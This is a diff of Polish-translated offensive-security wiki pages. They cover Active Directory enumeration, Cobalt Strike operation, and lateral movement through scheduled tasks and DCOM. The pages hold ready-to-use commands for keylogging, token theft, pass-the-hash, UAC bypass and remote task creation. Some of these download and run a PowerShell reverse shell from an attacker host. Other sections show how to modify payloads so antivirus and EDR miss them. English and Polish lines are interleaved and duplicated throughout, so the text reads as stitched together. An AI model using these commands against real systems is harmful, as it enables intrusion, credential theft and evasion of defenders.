#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
### Usunięte obiekty
```powershell
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### MISC
#### SID na nazwę
```powershell
```bash
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
```powershell
```bash
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Użyj różnych poświadczeń (argument)
```powershell
#### Użyj innych poświadczeń (argument)
```bash
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Podszywanie się pod użytkownika
```powershell
```bash
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### Ustaw wartości
```powershell
```bash
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'

View File

@ -12,8 +12,8 @@ Beacony tych listenerów nie muszą komunikować się bezpośrednio z C2, mogą
`Cobalt Strike -> Listeners -> Add/Edit`, a następnie musisz wybrać beacony TCP lub SMB.
* **TCP beacon ustawi listener na wybranym porcie**. Aby połączyć się z TCP beacon, użyj polecenia `connect <ip> <port>` z innego beacona.
* **smb beacon będzie nasłuchiwać w pipename o wybranej nazwie**. Aby połączyć się z SMB beacon, musisz użyć polecenia `link [target] [pipe]`.
* **Beacon TCP ustawi listener na wybranym porcie**. Aby połączyć się z beaconem TCP, użyj polecenia `connect <ip> <port>` z innego beacona.
* **Beacon smb będzie nasłuchiwać na pipename o wybranej nazwie**. Aby połączyć się z beaconem SMB, musisz użyć polecenia `link [target] [pipe]`.
### Generate & Host payloads
@ -28,7 +28,7 @@ Beacony tych listenerów nie muszą komunikować się bezpośrednio z C2, mogą
#### Generate & Host payloads
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` To wygeneruje skrypt/wykonywalny do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python.
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` To wygeneruje skrypt/wykonywalny do pobrania beacona z Cobalt Strike w formatach takich jak: bitsadmin, exe, powershell i python.
#### Host Payloads
@ -38,32 +38,37 @@ Jeśli już masz plik, który chcesz hostować na serwerze www, po prostu przejd
<pre class="language-bash"><code class="lang-bash"># Wykonaj lokalny plik .NET
execute-assembly </path/to/executable.exe>
# Zauważ, że aby załadować zestawy większe niż 1MB, właściwość 'tasks_max_size' profilu malleable musi być zmodyfikowana.
# Zrzuty ekranu
printscreen # Zrób pojedynczy zrzut ekranu metodą PrintScr
screenshot # Zrób pojedynczy zrzut ekranu
screenwatch # Zrób okresowe zrzuty ekranu pulpitu
## Przejdź do View -> Screenshots, aby je zobaczyć
screenwatch # Zrób okresowe zrzuty ekranu pulpitu
## Przejdź do Widok -> Zrzuty ekranu, aby je zobaczyć
# keylogger
keylogger [pid] [x86|x64]
## View > Keystrokes, aby zobaczyć naciśnięte klawisze
## Widok > Naciśnięcia klawiszy, aby zobaczyć naciśnięte klawisze
# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Wstrzyknij akcję skanowania portów do innego procesu
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Importuj moduł Powershell
## Importuj moduł Powershell
powershell-import C:\path\to\PowerView.ps1
powershell <po prostu napisz polecenie powershell tutaj>
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <po prostu napisz polecenie powershell tutaj> # To używa najwyższej obsługiwanej wersji powershell (nie oppsec)
powerpick <cmdlet> <args> # To tworzy ofiarny proces określony przez spawnto i wstrzykuje UnmanagedPowerShell do niego dla lepszego opsec (bez logowania)
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments> # To wstrzykuje UnmanagedPowerShell do określonego procesu, aby uruchomić cmdlet PowerShell.
# Użytkownik impersonation
## Generowanie tokena z poświadczeniami
make_token [DOMAIN\user] [password] #Utwórz token do impersonacji użytkownika w sieci
ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerze
rev2self # Zatrzymaj używanie tokena wygenerowanego przez make_token
## Użycie make_token generuje zdarzenie 4624: Konto zostało pomyślnie zalogowane. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrując według typu logowania. Jak wspomniano powyżej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typu 9.
## Generowanie tokenów z poświadczeniami
make_token [DOMAIN\user] [password] #Utwórz token, aby impersonować użytkownika w sieci
ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ w komputerze
rev2self # Zatrzymaj używanie tokena wygenerowanego za pomocą make_token
## Użycie make_token generuje zdarzenie 4624: Konto zostało pomyślnie zalogowane. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrując według typu logowania. Jak wspomniano powyżej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typem 9.
# UAC Bypass
elevate svc-exe <listener>
@ -72,14 +77,14 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
## Kradnij token z pid
## Jak make_token, ale kradnąc token z procesu
steal_token [pid] # To również jest przydatne do działań sieciowych, a nie lokalnych
## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować swój obecny token". Dlatego wyjście Beacona mówi Impersonated <current_username> - impersonuje nasz własny sklonowany token.
ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerze
steal_token [pid] # Ponadto, to jest przydatne do działań sieciowych, a nie lokalnych
## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować swój obecny token". Dlatego wyjście Beacon mówi Impersonated <current_username> - impersonuje nasz własny sklonowany token.
ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ w komputerze
rev2self # Zatrzymaj używanie tokena z steal_token
## Uruchom proces z nowymi poświadczeniami
spawnas [domain\username] [password] [listener] #Zrób to z katalogu z dostępem do odczytu, np.: cd C:\
## Jak make_token, to wygeneruje zdarzenie Windows 4624: Konto zostało pomyślnie zalogowane, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Będzie szczegółowo opisywać użytkownika wywołującego (TargetUserName) i użytkownika impersonowanego (TargetOutboundUserName).
## Uruchom proces z nowymi poświadczeniami
spawnas [domain\username] [password] [listener] #Zrób to z katalogu z dostępem do odczytu, np. cd C:\
## Jak make_token, to wygeneruje zdarzenie Windows 4624: Konto zostało pomyślnie zalogowane, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Zawiera szczegóły dotyczące użytkownika wywołującego (TargetUserName) i użytkownika impersonowanego (TargetOutboundUserName).
## Wstrzyknij do procesu
inject [pid] [x64|x86] [listener]
@ -92,11 +97,12 @@ pth [DOMAIN\user] [NTLM hash]
## Pass the hash przez mimikatz
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## Bez /run, mimikatz uruchomi cmd.exe, jeśli działasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli działasz jako SYSTEM, jesteś gotowy do działania)
## Bez /run, mimikatz uruchamia cmd.exe, jeśli działasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli działasz jako SYSTEM, jesteś w porządku)
steal_token <pid> #Kradnij token z procesu utworzonego przez mimikatz
## Pass the ticket
## Żądaj biletu
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## Utwórz nową sesję logowania do użycia z nowym biletem (aby nie nadpisać skompromitowanego)
make_token <domain>\<username> DummyPass
@ -119,30 +125,30 @@ execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Wstaw bilet w wygenerowanej sesji logowania
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Na koniec, kradnij token z tego nowego procesu
### Na koniec, ukradnij token z tego nowego procesu
steal_token <pid>
# Lateral Movement
# Lateral Movement
## Jeśli token został utworzony, zostanie użyty
jump [method] [target] [listener]
## Metody:
## psexec x86 Użyj usługi do uruchomienia artefaktu Service EXE
## psexec64 x64 Użyj usługi do uruchomienia artefaktu Service EXE
## psexec_psh x86 Użyj usługi do uruchomienia jednego wiersza PowerShell
## winrm x86 Uruchom skrypt PowerShell przez WinRM
## winrm64 x64 Uruchom skrypt PowerShell przez WinRM
## psexec_psh x86 Użyj usługi do uruchomienia jednego wiersza PowerShell
## winrm x86 Uruchom skrypt PowerShell przez WinRM
## winrm64 x64 Uruchom skrypt PowerShell przez WinRM
## wmi_msbuild x64 wmi lateral movement z msbuild inline c# task (oppsec)
remote-exec [method] [target] [command]
remote-exec [method] [target] [command] # remote-exec nie zwraca wyjścia
## Metody:
<strong>## psexec Zdalne wykonanie przez Menedżera Kontroli Usług
</strong>## winrm Zdalne wykonanie przez WinRM (PowerShell)
## wmi Zdalne wykonanie przez WMI
## psexec Zdalne wykonanie przez Menedżera Kontroli Usług
## winrm Zdalne wykonanie przez WinRM (PowerShell)
## wmi Zdalne wykonanie przez WMI
## Aby wykonać beacona za pomocą wmi (nie jest to w poleceniu jump), po prostu prześlij beacona i uruchom go
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Pass session to Metasploit - Through listener
## Na hoście metaploit
msf6 > use exploit/multi/handler
@ -151,7 +157,7 @@ msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
## Na cobalt: Listeners > Add i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.
## Na cobalt: Listeners > Dodaj i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.
beacon> spawn metasploit
## Możesz uruchomić tylko sesje x86 Meterpreter z obcym listenerem.
@ -160,66 +166,193 @@ beacon> spawn metasploit
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## Uruchom msfvenom i przygotuj listener multi/handler
## Skopiuj plik bin do hosta cobalt strike
## Skopiuj plik bin do hosta Cobalt Strike
ps
shinject <pid> x64 C:\Payloads\msf.bin #Wstrzyknij shellcode metasploit do procesu x64
# Pass metasploit session to cobalt strike
## Wygeneruj stageless Beacon shellcode, przejdź do Attacks > Packages > Windows Executable (S), wybierz pożądany listener, wybierz Raw jako typ wyjścia i wybierz Użyj x64 payload.
## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany shellcode cobalt strike.
## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany shellcode Cobalt Strike.
# Pivoting
## Otwórz proxy socks na teamserver
## Otwórz proxy socks w teamserver
beacon> socks 1080
# Połączenie SSH
# SSH connection
beacon> ssh 10.10.17.12:22 username password</code></pre>
## Unikanie AVs
## Opsec
### Artifact Kit
### Execute-Assembly
Zazwyczaj w `/opt/cobaltstrike/artifact-kit` możesz znaleźć kod i wstępnie skompilowane szablony (w `/src-common`) ładunków, które cobalt strike zamierza użyć do generowania binarnych beaconów.
**`execute-assembly`** używa **ofiarnych procesów** przy użyciu zdalnego wstrzykiwania procesów do wykonania wskazanego programu. To jest bardzo głośne, ponieważ do wstrzykiwania do procesu używane są pewne Win API, które każdy EDR sprawdza. Jednak istnieją pewne niestandardowe narzędzia, które można wykorzystać do załadowania czegoś w tym samym procesie:
Używając [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z wygenerowanym backdoorem (lub po prostu z skompilowanym szablonem), możesz znaleźć, co powoduje wyzwolenie defendera. Zazwyczaj jest to ciąg. Dlatego możesz po prostu zmodyfikować kod, który generuje backdoora, aby ten ciąg nie pojawił się w finalnym pliku binarnym.
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- W Cobalt Strike możesz również używać BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
Skrypt agresora `https://github.com/outflanknl/HelpColor` utworzy polecenie `helpx` w Cobalt Strike, które doda kolory do poleceń, wskazując, czy są to BOF (zielony), czy są to Frok&Run (żółty) i podobne, lub czy są to ProcessExecution, wstrzykiwanie lub podobne (czerwony). Co pomaga wiedzieć, które polecenia są bardziej dyskretne.
### Act as the user
Możesz sprawdzić zdarzenia takie jak `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
- Zdarzenie zabezpieczeń EID 4624 - Sprawdź wszystkie interaktywne logowania, aby poznać zwykłe godziny pracy.
- Zdarzenie systemowe EID 12,13 - Sprawdź częstotliwość wyłączeń/uruchomień/uśpienia.
- Zdarzenie zabezpieczeń EID 4624/4625 - Sprawdź przychodzące ważne/nieprawidłowe próby NTLM.
- Zdarzenie zabezpieczeń EID 4648 - To zdarzenie jest tworzone, gdy używane są poświadczenia w postaci czystego tekstu do logowania. Jeśli proces je wygenerował, binarny potencjalnie ma poświadczenia w czystym tekście w pliku konfiguracyjnym lub w kodzie.
Kiedy używasz `jump` z Cobalt Strike, lepiej jest użyć metody `wmi_msbuild`, aby nowy proces wyglądał bardziej legitnie.
### Use computer accounts
To powszechne, że obrońcy sprawdzają dziwne zachowania generowane przez użytkowników i **wykluczają konta usług i konta komputerów, takie jak `*$`, z ich monitorowania**. Możesz używać tych kont do wykonywania ruchów bocznych lub eskalacji uprawnień.
### Use stageless payloads
Payloady stageless są mniej hałaśliwe niż staged, ponieważ nie muszą pobierać drugiego etapu z serwera C2. Oznacza to, że nie generują żadnego ruchu sieciowego po początkowym połączeniu, co sprawia, że są mniej prawdopodobne do wykrycia przez obrony oparte na sieci.
### Tokens & Token Store
Bądź ostrożny, gdy kradniesz lub generujesz tokeny, ponieważ może być możliwe, aby EDR wyliczył wszystkie tokeny wszystkich wątków i znalazł **token należący do innego użytkownika** lub nawet SYSTEM w procesie.
To pozwala na przechowywanie tokenów **na beacona**, więc nie ma potrzeby kradnięcia tego samego tokena w kółko. To jest przydatne do ruchów bocznych lub gdy musisz użyć skradzionego tokena wiele razy:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
Podczas ruchu bocznego zazwyczaj lepiej jest **ukraść token niż generować nowy** lub przeprowadzać atak pass the hash.
### Guardrails
Cobalt Strike ma funkcję o nazwie **Guardrails**, która pomaga zapobiegać używaniu niektórych poleceń lub działań, które mogą być wykryte przez obrońców. Guardrails mogą być skonfigurowane do blokowania konkretnych poleceń, takich jak `make_token`, `jump`, `remote-exec` i innych, które są powszechnie używane do ruchu bocznego lub eskalacji uprawnień.
Ponadto repozytorium [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) zawiera również kilka kontroli i pomysłów, które możesz rozważyć przed wykonaniem payloadu.
### Tickets encryption
W AD bądź ostrożny z szyfrowaniem biletów. Domyślnie niektóre narzędzia będą używać szyfrowania RC4 dla biletów Kerberos, które jest mniej bezpieczne niż szyfrowanie AES, a domyślnie aktualne środowiska będą używać AES. To może być wykryte przez obrońców, którzy monitorują słabe algorytmy szyfrowania.
### Avoid Defaults
Kiedy używasz Cobalt Strike, domyślnie rury SMB będą miały nazwę `msagent_####` i `"status_####`. Zmień te nazwy. Możliwe jest sprawdzenie nazw istniejących rur z Cobalt Strike za pomocą polecenia: `ls \\.\pipe\`
Ponadto, w sesjach SSH tworzona jest rura o nazwie `\\.\pipe\postex_ssh_####`. Zmień ją na `set ssh_pipename "<new_name>";`.
Również w ataku poeksploatacyjnym rury `\\.\pipe\postex_####` mogą być modyfikowane za pomocą `set pipename "<new_name>"`.
W profilach Cobalt Strike możesz również modyfikować takie rzeczy jak:
- Unikanie używania `rwx`
- Jak działa zachowanie wstrzykiwania procesów (które API będą używane) w bloku `process-inject {...}`
- Jak działa "fork and run" w bloku `post-ex {…}`
- Czas snu
- Maksymalny rozmiar binarnych do załadowania w pamięci
- Ślad pamięci i zawartość DLL z bloku `stage {...}`
- Ruch sieciowy
### Bypass memory scanning
Niektóre EDR-y skanują pamięć w poszukiwaniu znanych sygnatur złośliwego oprogramowania. Cobalt Strike pozwala na modyfikację funkcji `sleep_mask` jako BOF, która będzie w stanie zaszyfrować w pamięci backdoor.
### Noisy proc injections
Kiedy wstrzykujesz kod do procesu, zazwyczaj jest to bardzo hałaśliwe, ponieważ **żaden regularny proces zazwyczaj nie wykonuje tej akcji, a sposoby na to są bardzo ograniczone**. Dlatego może to być wykryte przez systemy detekcji oparte na zachowaniu. Ponadto może być również wykryte przez EDR-y skanujące sieć w poszukiwaniu **wątków zawierających kod, który nie jest na dysku** (chociaż procesy takie jak przeglądarki używające JIT mają to powszechnie). Przykład: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID and PPID relationships
Podczas uruchamiania nowego procesu ważne jest, aby **utrzymać regularny związek rodzic-dziecko** między procesami, aby uniknąć wykrycia. Jeśli svchost.exec wykonuje iexplorer.exe, będzie to wyglądać podejrzanie, ponieważ svchost.exe nie jest rodzicem iexplorer.exe w normalnym środowisku Windows.
Kiedy nowy beacon jest uruchamiany w Cobalt Strike, domyślnie tworzony jest proces używający **`rundll32.exe`**, aby uruchomić nowego listenera. To nie jest zbyt dyskretne i może być łatwo wykryte przez EDR-y. Ponadto `rundll32.exe` jest uruchamiane bez żadnych argumentów, co czyni to jeszcze bardziej podejrzanym.
Za pomocą następującego polecenia Cobalt Strike możesz określić inny proces do uruchomienia nowego beacona, co sprawia, że jest on mniej wykrywalny:
```bash
spawnto x86 svchost.exe
```
Możesz również zmienić to ustawienie **`spawnto_x86` i `spawnto_x64`** w profilu.
### Proxying attackers traffic
Atakujący czasami będą musieli być w stanie uruchomić narzędzia lokalnie, nawet na maszynach z systemem Linux, i sprawić, by ruch ofiar dotarł do narzędzia (np. NTLM relay).
Ponadto, czasami, aby przeprowadzić atak pass-the-hash lub pass-the-ticket, jest to bardziej dyskretne dla atakującego, aby **dodać ten hash lub bilet do swojego lokalnego procesu LSASS** i następnie pivotować z niego, zamiast modyfikować proces LSASS maszyny ofiary.
Jednak musisz być **ostrożny z generowanym ruchem**, ponieważ możesz wysyłać nietypowy ruch (kerberos?) z procesu swojego backdoora. W tym celu możesz pivotować do procesu przeglądarki (chociaż możesz zostać złapany na wstrzykiwaniu się do procesu, więc pomyśl o dyskretnym sposobie, aby to zrobić).
```bash
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
{{#ref}}
av-bypass.md
{{#endref}}
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
Po modyfikacji kodu po prostu uruchom `./build.sh` z tej samej katalogu i skopiuj folder `dist-pipe/` do klienta Windows w `C:\Tools\cobaltstrike\ArtifactKit`.
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
Nie zapomnij załadować agresywnego skryptu `dist-pipe\artifact.cna`, aby wskazać Cobalt Strike, aby używał zasobów z dysku, które chcemy, a nie tych załadowanych.
### Resource Kit
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
Folder ResourceKit zawiera szablony dla skryptowych ładunków Cobalt Strike, w tym PowerShell, VBA i HTA.
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
Używając [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z szablonami, możesz znaleźć, co nie podoba się obrońcy (w tym przypadku AMSI) i zmodyfikować to:
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
Modyfikując wykryte linie, można wygenerować szablon, który nie zostanie wykryty.
Nie zapomnij załadować agresywnego skryptu `ResourceKit\resources.cna`, aby wskazać Cobalt Strike, aby używał zasobów z dysku, które chcemy, a nie tych załadowanych.
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
http://localhost:7474/ --> Zmień hasło
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
# Zmień powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# Zmień $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

View File

@ -10,6 +10,8 @@ Istnieje wiele sposobów na wykonywanie poleceń w zewnętrznych systemach, tuta
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**RDPexec**](rdpexec.md)
- [**SCMexec**](scmexec.md)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

View File

@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
Możesz użyć **Impacket's `atexec.py`** do wykonywania poleceń na zdalnych systemach za pomocą polecenia AT. Wymaga to ważnych poświadczeń (nazwa użytkownika i hasło lub hash) dla docelowego systemu.
```bash
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
```
Możesz również użyć [SharpLateral](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
Możesz użyć [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
```
Więcej informacji na temat [**użycia schtasks z srebrnymi biletami tutaj**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,25 +6,25 @@
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Obiekty Distributed Component Object Model (DCOM) oferują interesującą możliwość interakcji z obiektami w sieci. Microsoft udostępnia szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
Obiekty Distributed Component Object Model (DCOM) oferują interesującą możliwość interakcji w sieci z obiektami. Microsoft zapewnia szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
Obiekt COM, [Klasa aplikacji MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), umożliwia skryptowanie operacji wtyczek MMC. Co ważne, obiekt ten zawiera metodę `ExecuteShellCommand` w `Document.ActiveView`. Więcej informacji na temat tej metody można znaleźć [tutaj](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Sprawdź, jak to działa:
Obiekt COM, [Klasa aplikacji MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), umożliwia skryptowanie operacji wtyczek MMC. Co ważne, obiekt ten zawiera metodę `ExecuteShellCommand` w `Document.ActiveView`. Więcej informacji na temat tej metody można znaleźć [tutaj](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Sprawdź jej działanie:
Funkcja ta ułatwia wykonywanie poleceń w sieci za pośrednictwem aplikacji DCOM. Aby zdalnie interagować z DCOM jako administrator, można wykorzystać PowerShell w następujący sposób:
```powershell
```bash
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana w celu uruchomienia procesu na zdalnym hoście. Proces obejmuje następujące kroki:
Sprawdź metody:
```powershell
Check methods:
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Uzyskaj RCE:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -36,27 +36,32 @@ ls \\10.10.10.10\c$\Users
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w "LaunchPermissions", domyślnie przyznając uprawnienia, które pozwalają Administratorom na dostęp. W celu uzyskania dalszych szczegółów, wątek można zbadać [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane.
